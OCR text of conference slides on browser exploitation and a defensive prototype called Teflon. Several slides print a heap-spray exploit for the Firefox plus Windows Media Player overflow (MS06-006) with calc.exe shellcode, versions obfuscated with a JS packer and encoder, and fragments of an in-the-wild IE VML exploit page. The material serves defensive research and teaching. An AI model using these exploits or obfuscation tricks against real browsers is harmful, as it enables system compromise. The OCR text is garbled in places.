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# who am 1

16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33
USER TTY FROM LOGIN@ IDLE WHAT
saumil console - 11:43 0:05 bash
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It's all about the browser.
The browser is the desktop of tomorrow...
...and as secure as the desktop of the 90s.

The most fertile target area for exploitation.
What do today's browsers look like?
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Browser Architecture

user loaded content
<img> <iframe> <script> <object>
<div> <style> <embed> <span>
<table> <form> <input> ... etc.

HTML+CSS Javascript
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Browser Architecture

user loaded content Ajax/rich

<img> <iframe> <script> apps
<object> <div> <style>

<embed> <span> <table> : :
<form> <input> ... etc. Ajax libs

HTML+CSS Javascript

mime types
libraries




* Browser core = kernel.

* Plugins/extensions = drivers.
* if these get exploited... you Own the kernel.

« HTML/DHTML/Javascript = userland code.
» <object clsid="...">, <embed ...> = syscalls.
« ways of reaching the "kernel".
 XHR = userland sockets.




Built-in interpreted language — Javascript.
Craft the exploit locally, via JS.
Pre-load the process memory exactly as you

like, thanks to HTML and JS.
Buffer overflows in browsers or components.
Practical exploitation — Return to heap.




ASLR, DEP, NX, GS, Return to stack, Return
to shared lib, ... doesn't bother us.

Spraying the heap, and then jumping into it.

Map the memory just-in-time.
Pioneered by Skylined.

"Heap Feng Shui" by Alexander Sotirov.




<script>
spéay = build_large_nopsled();

a = new Array(Q);

for(1 = 0; 1 < 100; 1++)
a[i1] = spray + shellcode;

</script>
<html>

exploit trigger condition
goes here

</Htm1>

NOP sled

shellcode

NOP sled

shellcode

NOP sled

shellcode




« Step by step — building an exploit.
* Firefox + Windows Media Player.
* |E7 LinkedIn Toolbar.




Build up the exploit on-the-fly.
and delivered locally.
Super obfuscated.

Randomly encoded each time.
"Signature that!”




* Dynamic exploitation.

* Nothing blows up until the last piece of the
puzzle fits.

* Unless you are "in" the browser, you'll never
Know.

* Anti-Virus quack remedies.




Makes computers sluggish.
False alarms.
"Most popular brands have an 80% miss

rate" — AusCERT.

Heuristic recognition fell from 40-50% (2006)
to 20-30% (2007) — HeiseOnline.

Signature based scanning does not work.
A-| techniques can be easily beaten.




* NoScript extension.
* slightly better than "turn off JS for everything".
 default deny, selected allow approach.

* Per site basis — list building exercise.

* Analysis through Spidermonkey.
* Roots in understanding obfuscated malware.




* Hooking into the JS engine via debuggers.

* http://securitylabs.websense.com/content/Blogs/
2802.aspx

775E524A ; Attributes: bp-based frame

775E524A

775E524A ; int _ stdcall CDocument_ write{int,SAFEARRAY x*psa)
775E524A ?write@CDocument@EQAGJPAUtagSAFEARRAYEE@EZ proc near
775E524A ; CODE XREF: (
775E524A

775E524A pv
775E524A var_ 18
775E524A var_14
775E524A var_ 10
775E524A var C
775E524A rglndices
775E524A var 4
775E524A arg 0O
775E524A psa

UARIANTARG ptr -28h
dword ptr -18h
dword ptr -14h
dword ptr -106h
dword ptr

dword ptr

dword ptr

dword ptr

dword ptr




An attempt to protect browsers against JS
encoded exploits.

Doesn't allow anything to stick.

Per-site JS disabling is too drastic.
« or for that matter whitelisting/blacklisting.
* | hate maintaining lists.

Are you sure facebook won't deliver malware
tomorrow?




Deep inspection of payload.

Just block the offensive vectors.
* define offensive.
 allow the rest.

No need to disable JS.

* ...Just prevent the browser "syscalls".
Implemented as a browser extension.

|deally this technology should be part of the
browser's "kernel".




Firefox 1.5-2.0 implementation.

Modifications to the DOM.
 document.write, innerHTML, eval, etc.

Takes care of recursive javascript
obfuscation.

Replaces offensive vectors with <div>s.




Firefox+Windows Media Player (MS06-006)
http://milwOrm.com/exploits/1505
Bare exploit - The Exploit Lab style!

Packed with /packer/
 http://dean.edwards.name/packer/

Scriptasylum JS encoder/decoder

* http://scriptasylum.com/tutorials/encdec/encode-
decode.html

Both packer+encoder together.




<script>

// calc.exe

var shellcode = unescape("%ue8fc%ud044%ud000%uss8b
%u6Cc61%ule63%u7865%u2065%u0000") ;

// heap spray
var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" ) ;
do {

spray += spray;

} while(spray.length < 0xc0000);
memory = new Array();
for(1 = 0; 1 < 50; 1++)

memory[i] = spray + shellcode;

// we need approx 2200 A's to blow the buffer
bu_F — "Il;
for(i1 = 0; 1 < 550; 1++)

buf += unescape("%05%05%05%05") ;

n

buf += ".wmv";

) )

document.write('<embed src=""' + buf +

</script>

"></embed>");




¢ ek Ehttp:,."."dean.edwards.namex’packers‘ ~(Q-

[1] slashdot (2) digg (6) packetstorm milwOrm secguru aurgasm hackervip macupdate (22) msf add/xor/rol matasano

/packer/ £ HTML & JavaScript Enco... ‘

dean.edwards.name/packer/
my | weblog | links | about | contact | search

A JavaScript Compressor. version 3.0

Paste: Help

// calc.exe

var shellcode =

unescape( "%uedfcxudd44%ud00dxu458bHxusb3cHuBS7 cHu@L78%uBbe fHul84fHuS f8b¥ud120%u49ebXu348b¥u@l8biu3
lee%u99cO¥ud4acku74couclO7iuddcaiuc2@l%uf4ebiusS43b%uds24%ues575%usSt8b%udl24%ubbeb*udc8bXusb4biulc
5f%ueb@1%ulc8b%u@18b%usebXuz45cHhuc304%ucd31%u8be4%u3040%uco85%udC7 8%u408bHusbAcKulc70%usbad¥udse
8%u@9eb%u808bX%uddboXuODODHUEBBbHKUS 3 cHhuf631%uS660%uf88I%UCOB3X%USO7bNuU7eb8%ue2d8X%ub873%ufe98%udeda
Huff57%ub3e7%ubCc61%u2e63%uU7865%u2065%u0000" ) ;

// heap spray
var spray = unescape( "#%u9@9@%u9090%u909¢%u9090%u9090%u9090%u9090%u9090" ) ;

Clear ) (Pack Base62 encode ¥
Shrink variables ¥
Copy:
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?
String. fromCharCode(c+29):c.toString(36))};1f(! "' .replace(/A/,String)){while(c--
JrleCc)]=k[c] | le(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--
Jif(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b',"'g'),k[c]);return p}('2
8=6"HminH7%0H%pHqHrHsHLHINUNVHWHAHXHYHZHAXBHCHDHE HFHCHHHIHIHIHKHLAMANHOH X PHQHRHESHTHURVHNEXHYHZHL
0%11%12%13%14%7%15%16%17%18%19%1a%1b%1c¥1d¥1e¥1fH1gh1hHLi%1LJHLIKHL1LHImH%7") ;2
3=6("#1%1%1%1%1%1%1%1") ; In{3+=3}10(3.1p<1q);b=1r
1s();d(1=0;1<1t;1++)b[1]=3+8;4="";d(1=0; 1<lu; 1++)4+=6("¥5H5%5%5") ; 4+=".1v" ;2 e="f>";2
g="\"></h";2 j="c=\"";2 k="f 1Iw";2
1="<h";1x.1y(l+k+j+4+g+e); " ,62,97, ' |u909@|var|spray|buf |05 |unescape | uddd@|shellcode |u5f8b|u@l8bIm
compression ratlo: 1261/987=1.278
Decode

Also available as .NET, perl and PHP applications.

ENJF4 A PROUD
MEMBER




{TML & JavaScript Encoder/Decoder

(] + @ htp://scriptasylum.com/tutorials /encdec/encode-decode.html ~ Q-

[1] slashdot (2) digg (6) packetstorm milwOrm secguru aurgasm hackervip macupdate (22) msf add/xor/rol matasano

(X /packer/ HTML & JavaScript Enco..

J T SO UT C TS OTTEC T T SIS TS G T T ST Te e G TS Oy GO T T e T
following script does is not considered actual encoding, but it's easier to say it that way. The encoded output will be a bit
longer than the original text, but a lot less than if you had simply escaped it all.

I CICUUe  Urd UCCUUs  TUUSCry Frere, ¥itue oie

The above section just escapes the text. The section below actually shifts the Unicode values so the result looks like
gibberish. Give it a try and you'll see; don't forget to try different Code Key values from the drop-down box.

Normal Text/HTML/JavaScript (Select all...) Encoded Text/HTML/JavaScript (Select all...)

%286Fvfulsw%28530dqjxdjh%286G%2855mdydvfulsw%285
I heap spray > 5%286H%283D22%2853fdof1h%7Bh%283Dydu%2853vkhoo
var spray = unescape("%u9090%u9090%u9090%u9090%u90¢ frgh%2853%286G%2853xqhvfdsh%285%3B%2855%2858xh
do { P %3Bif%2858x3377%2858x3333%2858x78%3Be%2858x%3B
spray += spray; e6f%2858x38%3Af%2858x34%3A%3B%2858x%3Behi%285
} while(spray.length < 0xc0000); 8x4%3B71%2858x8i%3Be%2858x3453%2858x7%3Che %285

8x67%3Be%2858x34%3Be%2858x64hh%2858x%3C%3Cf3
memory = new Array(): %2858x%3B7df%2858x%3A7f3%2858xf43%3A%2858x3gfd

%2858xf534%2858xi7he%2858x876€%2858x3757%2858xh8
for(i = 0; i < 50; i++) %3A8%2858x8i%3Be%2858x3457%2858x99he%2858x3f%3

The following steps are what the script does to accomplish this effect when you click the ==> (encode) button:

First, all the text is escaped.
T the script finds the Unicode values for each character in the string.
script /hatever the Code Key drop-down box value is to each character's Unicode value.
Then the script derives characters based on the shifted Unicode values.
The Code Key value is also embedded in the decoded text so the script knows how to properly decode the string
again.
Finally, it escapes the result one more time to remove any special characters. Now, the output looks totally foreign
to someone who cannot un-shift Unicode values in their head. :)

The decode step €-- simply reverses the process.

Unfortunately, the browser does not have any built-in ability to handle the decoding, so we have to use a function for
that. So, you have to escape the function that handles the decoding to hide that part, and have the browser write it to the
document. You don't really have to escape the decoding function, but it will make it that much harder for someone to
figure out what's going on. Then, the decoding function can be used to decode the rest of whatever content you have
encoded. I'll outline the steps below one-by-one to make this less confusing.

1. Escape the decoding function. Before this function is escaped, it looks like this:




Tef
Tef
Tef

Tef

on against plain vanilla exploit.
on against /packer’.

on against JS encoder.

on against packer+encoder.




» Tested against www.cuteqqg.cn malware.
* Encrypted and randomized JS delivery.
« MS07004 — IE VML bug.




<head>

Www.CuteQq.Cn
< /tite>

<body onload="window, status=
<noscript>
</noscript>

<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00AQCISSB42E">
<fobject>

w0000
w0000
us90s" +
Y%uls845" +
w02 5 3G b= 5 > 0000
61009 c42819 D 0000 c25d9
ul3el
ffS




<head>

Www.CuteQq.Cn T . - , . ) »
tite - &

.

f = 1
. » ]
: -VS
{behavioriurl(#VMLRender);} P L f ~ \
yle> i J : . P r \ .

i i MECHANIC I SOMEBODY SET UP US
<body onload="window, status=
<noscript> THE BOMB.

</noscript>

<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00AQCISSB42E">
<fobject>

0000% usb009%s
u8b0

uS604°¢

Sy 0000
o001

w000

ull




<tite>
Www.CuteQq.Cn

<noscript>
</noscript>

‘behavioriurl(#vMLRender);

<y:irect style="width: Opt; height: 0pt;" fillcolor="white">

<virecolorinfo recolorstate="t" numcolors="97612895">

<wy:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)" recolortype="3084" |bcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" Ibstyle="3084" bitmaptype="3084">

<w:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)" recolortype="3084" |bcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" Ibstyle="3084" bitmaptype="3084">

<wy:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)" recolortype="3084" |bcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" Ibstyle="3084" bitmaptype="3084">

<y recolorinfo="">

<fu=

<fuirecolorinfoentry>

<fvirecolorinfoentry>

<fvirecolorinfoentry>

<fwirecolorinfo>

<fvirect>

</ w=




) www.CuteQq.Cn - Mozilla Firefox )

File Edit View History Bookmarks Tools Help

< o) L] http:/f10.253.236.147:8080]




* Right now, it is just a research prototype.
* How shall we use it.in practice?
* \Web servers can publish a "manifest” of

what is allowed (or denied).

* e.g. "My web pages should never contain
OBJECTs or EMBEDS"

 or: "Only CLSID xyz is allowed"
« maybe like P3P? (we all know where that went)




» Javascript is too powerful (read dangerous).
 "| was here first!" approach.

 Teflon really needs to be built right into the

browser.




IES, FF3 — let's mash-up EVERYTHING.

e anyone mention security?
Standards being driven by bloggers and

Twitter-twits.

We need a standard, granular security
model for browsers — built in.

Web servers need to play a role too.
And so do app frameworks (J2xx, .NET).




Can we detect heap sprays?
Non-executable heap? it does exist...
Signed Javascript, JARS?

Browser "syscall" protection.

Weren't Java applets supposed to be
perfect? :-)
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